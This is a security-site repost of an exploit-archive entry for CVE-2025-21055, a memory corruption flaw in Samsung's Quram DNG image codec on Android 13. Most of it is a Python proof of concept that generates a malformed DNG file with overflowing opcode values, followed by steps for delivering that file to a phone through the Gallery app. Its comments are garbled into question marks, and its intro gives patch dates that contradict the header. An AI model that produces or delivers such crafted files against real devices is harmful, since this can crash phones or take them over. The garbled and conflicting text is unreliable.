Android?13 Quram DNG Codec Memory Corruption
Android?13 Quram DNG Codec Memory Corruption
The Android 13 Quram DNG Codec Memory Corruption was a The Android 13 Quram DNG Codec Memory Corruption was a critical vulnerability affecting devices running Android 13. It resided in the Quram DNG image codec, responsible for processing Digital Negative raw image files.

This memory corruption flaw could be triggered by processing a specially crafted, malicious DNG image file. Successful exploitation could lead to a denial of service (DoS), causing system crashes. More severely, it posed a risk of arbitrary code execution, allowing an attacker to potentially gain control over the affected device without requiring additional privileges.

Google addressed this vulnerability with a security patch, typically included in the November 2023 Android Security Bulletin, urging users to update their devices promptly.

=============================================================================================================================================
| # Title : Android?13 Quram DNG Codec Memory Corruption Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.samsung.com/n_africa/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211371/ & CVE-2025-21055 https://packetstorm.news/download/211371

[+] Summary :

CVE?2025?21055 is an Out?of?Bounds Read/Write vulnerability in **Samsung?s Quram image codec library** (`libimagecodec.quram.so`).
The flaw is triggered when the library processes a maliciously crafted image file, causing memory access outside the intended buffer boundaries.
Successful exploitation can result in **information disclosure**, **application crash**, or potentially **arbitrary code execution**,
depending on the attack scenario. The issue affects Samsung devices running vulnerable versions of the Quram codec **prior to the security update SMR October 2025 Release 1**.
Samsung addressed the vulnerability by releasing a patched version of the image codec library in the October 2025 Security Maintenance Release (SMR).

[+] Vulnerability: Remote Code Execution in Samsung?s libimagecodec.quram.so library.

[+] Affected software: Samsung devices running Android 13 with firmware older than SMR Oct?2025 Release 1.

[+] Impact: An attacker can exploit the vulnerability via specially crafted image files to execute arbitrary code on the device.

[+] Affected devices: All Samsung devices using the vulnerable library version, including (but not limited to) Galaxy S22, S23, S24, Z Fold4, Z Flip4?only if firmware is unpatched.

[+] Patch/Remediation: Apply the October 2025 SMR or later security update.

[+] POC : python poc.py

#!/usr/bin/env python3
"""
Proof of Concept for CVE-2025-21055
Quram DNG Codec Memory Corruption Vulnerability
"""

import struct
import os

def create_malicious_dng():
"""
????? ??? DNG ???? ?????? ????? ?? QuramDngOpcodeScalePerColumn
"""

# ???? ????? ???? DNG ?? opcodes ?????
dng_data = bytearray()

# TIFF Header (????? ?????? DNG)
dng_data.extend(b'II*\x00') # Little-endian TIFF
dng_data.extend(struct.pack('<I', 8)) # Offset to IFD0

# IFD0 - Basic tags
ifd0_data = bytearray()
ifd0_data.extend(struct.pack('<H', 11)) # Number of entries

# ImageWidth (?????) - Tag 256, Type=LONG (4), Count=1, Value=100
ifd0_data.extend(struct.pack('<HHI', 256, 4, 1))
ifd0_data.extend(struct.pack('<I', 100))

# ImageLength (?????) - Tag 257, Type=LONG (4), Count=1, Value=100
ifd0_data.extend(struct.pack('<HHI', 257, 4, 1))
ifd0_data.extend(struct.pack('<I', 100))

# BitsPerSample - Tag 258, Type=SHORT (3), Count=3
ifd0_data.extend(struct.pack('<HHI', 258, 3, 3))
bits_per_sample_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', bits_per_sample_offset))

# Compression - Tag 259, Type=SHORT (3), Count=1, Value=1 (No compression)
ifd0_data.extend(struct.pack('<HHI', 259, 3, 1))
ifd0_data.extend(struct.pack('<H', 1)) # Value in the offset field
ifd0_data.extend(b'\x00\x00') # Padding

# PhotometricInterpretation - Tag 262, Type=SHORT (3), Count=1, Value=32803 (CFA)
ifd0_data.extend(struct.pack('<HHI', 262, 3, 1))
ifd0_data.extend(struct.pack('<H', 32803))
ifd0_data.extend(b'\x00\x00') # Padding

# Make DNG-specific tags
# DNGVersion - Tag 50706, Type=BYTE (1), Count=4, Value=[1,0,0,0]
ifd0_data.extend(struct.pack('<HHI', 50706, 1, 4))
dng_version_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', dng_version_offset))

# DNGBackwardVersion - Tag 50707, Type=BYTE (1), Count=4, Value=[1,0,0,0]
ifd0_data.extend(struct.pack('<HHI', 50707, 1, 4))
dng_backward_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', dng_backward_offset))

# OpcodeList1 - ?????? ?????? ?????? - Tag 51008
opcode_list = create_malicious_opcodes()
ifd0_data.extend(struct.pack('<HHI', 51008, 1, len(opcode_list)))
opcode_list_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', opcode_list_offset))

# CFAPattern - Tag 33421, Type=BYTE (1), Count=4
ifd0_data.extend(struct.pack('<HHI', 33421, 1, 4))
cfa_pattern_offset = len(dng_data) + len(ifd0_data) + 4
ifd0_data.extend(struct.pack('<I', cfa_pattern_offset))

# ????? CFA ???? - RGGB
cfa_pattern = b'\x00\x01\x01\x02'

# ????? ?????? ??????
ifd0_data.extend(struct.pack('<I', 0)) # Offset to next IFD

# ??? ?? ????????
dng_data.extend(ifd0_data)

# ????? ???????? ????????
# BitsPerSample data
dng_data.extend(struct.pack('<HHH', 16, 16, 16))

# DNGVersion data
dng_data.extend(b'\x01\x00\x00\x00')

# DNGBackwardVersion data
dng_data.extend(b'\x01\x00\x00\x00')

# CFA Pattern data
dng_data.extend(cfa_pattern)

# ????? OpcodeList ?? ?????? ??????
opcode_pos = opcode_list_offset - len(dng_data)
if opcode_pos < 0:
# ??? ??? ?????? ??????? ???? padding
padding_needed = -opcode_pos
dng_data.extend(b'\x00' * padding_needed)
dng_data.extend(opcode_list)
else:
# ??? ??? ?????? ??????? ???? ?? ?????? ??????
if len(dng_data) < opcode_list_offset:
dng_data.extend(b'\x00' * (opcode_list_offset - len(dng_data)))
dng_data.extend(opcode_list)

return bytes(dng_data)

def create_malicious_opcodes():
"""
????? opcodes ????? ?????? ????? ?? ScalePerColumn
"""
opcodes = bytearray()

# Opcode ID ?? ScalePerColumn (???? ???????? - ????? ??????)
scale_per_column_id = 0x0000000A

# Version
opcodes.extend(struct.pack('<I', 1))

# ???????? ??????? - ??? ????? ?????? integer overflow
# ??????? ??? ????? ?????? ?????? ?? ????????
top = 0x00000000
left = 0x00000000
bottom = 0xFFFFFFFF # ???? ????? ????
right = 0xFFFFFFFF # ???? ????? ????

opcodes.extend(struct.pack('<IIII', top, left, bottom, right))

# ??? ??????? - ???? ??? ??????
column_count = 0x7FFFFFFF # MAX_INT ???????
opcodes.extend(struct.pack('<I', column_count))

# ??????? ?????? - ??? ????? ?????? ????? ?? ????????
# ??????? ??? ???? ??? ?????? ????? ??? ?????
for i in range(100): # ??? ???? ?? ?????????
# ??? ????? ?????? ????? ????? ??? ??????
if i % 4 == 0:
factor = 0xB4000000 + (i * 0x1000) # ?????? ?????? ?????? ??????
else:
factor = 0x00000001 # ??? ????? ????? ???????? ??????

opcodes.extend(struct.pack('<I', factor & 0xFFFFFFFF))

return opcodes

def create_simplified_indoushka():
"""
???? ????? ?? ????? ?????? ???? ??? ????? ???????
"""
dng_data = bytearray()

# TIFF Header ????
dng_data.extend(b'II*\x00\x08\x00\x00\x00') # Header + offset to IFD

# IFD ?? ??? ???? ?? Tags
ifd_data = bytearray()
ifd_data.extend(struct.pack('<H', 5)) # 5 entries

# ImageWidth
ifd_data.extend(struct.pack('<HHI', 256, 4, 1))
ifd_data.extend(struct.pack('<I', 100))

# ImageLength
ifd_data.extend(struct.pack('<HHI', 257, 4, 1))
ifd_data.extend(struct.pack('<I', 100))

# Compression
ifd_data.extend(struct.pack('<HHI', 259, 3, 1))
ifd_data.extend(struct.pack('<H', 1))
ifd_data.extend(b'\x00\x00')

# PhotometricInterpretation (CFA)
ifd_data.extend(struct.pack('<HHI', 262, 3, 1))
ifd_data.extend(struct.pack('<H', 32803))
ifd_data.extend(b'\x00\x00')

# OpcodeList1 - ??????? ??? ????? ?????
ifd_data.extend(struct.pack('<HHI', 51008, 1, 1000)) # ??? ????
opcode_offset = len(dng_data) + len(ifd_data) + 4
ifd_data.extend(struct.pack('<I', opcode_offset))

# No next IFD
ifd_data.extend(struct.pack('<I', 0))

dng_data.extend(ifd_data)

# ????? opcodes ?????
opcodes = bytearray()
opcodes.extend(struct.pack('<I', 1)) # version

# ???????? ????? ????
opcodes.extend(struct.pack('<IIII', 0, 0, 0x7FFFFFFF, 0x7FFFFFFF))

# ??????? ???? ????? ?????? ?? memory corruption
for i in range(200):
if i == 50: # ?? ????? ????????? ???? ????? ???????
opcodes.extend(struct.pack('<I', 0xB4000079))
opcodes.extend(struct.pack('<I', 0x2607A000))
else:
opcodes.extend(struct.pack('<I', i))

# ???? ?? ?? ???????? ?? ?????? ??????
if len(dng_data) < opcode_offset:
dng_data.extend(b'\x00' * (opcode_offset - len(dng_data)))

dng_data.extend(opcodes)

return bytes(dng_data)

def indoushka_via_gallery(file_path):
"""
?????? ??????? ?????? ??? ?????? ????? ?? ????????
"""
print(f"[+] Creating malicious DNG file: {file_path}")

try:
# ?????? ????? ????? ???????? ??????? ?????
malicious_dng = create_malicious_dng()
print("[+] Complex DNG created successfully")
except Exception as e:
print(f"[-] Complex method failed: {e}")
print("[+] Trying simplified method...")
malicious_dng = create_simplified_indoushka()
print("[+] Simplified DNG created successfully")

with open(file_path, 'wb') as f:
f.write(malicious_dng)

file_size = os.path.getsize(file_path)
print(f"[+] Malicious DNG file created: {file_path} ({file_size} bytes)")

print("\n[+] Trigger methods:")
print(" 1. Copy file to device: adb push indoushka.dng /sdcard/Download/")
print(" 2. Open file in Samsung Gallery")
print(" 3. Use 'Set as wallpaper' feature")
print(" 4. Share the image to Gallery")
print(" 5. Wait for automatic thumbnail generation")

def analyze_crash():
"""
????? ??????? ?????? ?? ????? ??????
"""
print("\n[!] Crash Analysis:")
print(" - Fault address: 0xb40000792607a000 (non-canonical ARM64 address)")
print(" - Crash in: QuramDngOpcodeScalePerColumn::processArea()")
print(" - Likely cause: Integer overflow in memory calculation")
print(" - Attack vector: Malicious ScalePerColumn opcode in DNG")

if __name__ == "__main__":
print("CVE-2025-21055 - Quram DNG Codec PoC")
print("=====================================")

output_file = "indoushka.dng"

analyze_crash()
indoushka_via_gallery(output_file)

print(f"\n[!] PoC file '{output_file}' generated successfully")
print("[!] Test on isolated device only!")
print("[!] Actual exploitation requires precise opcode values from reverse engineering")

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.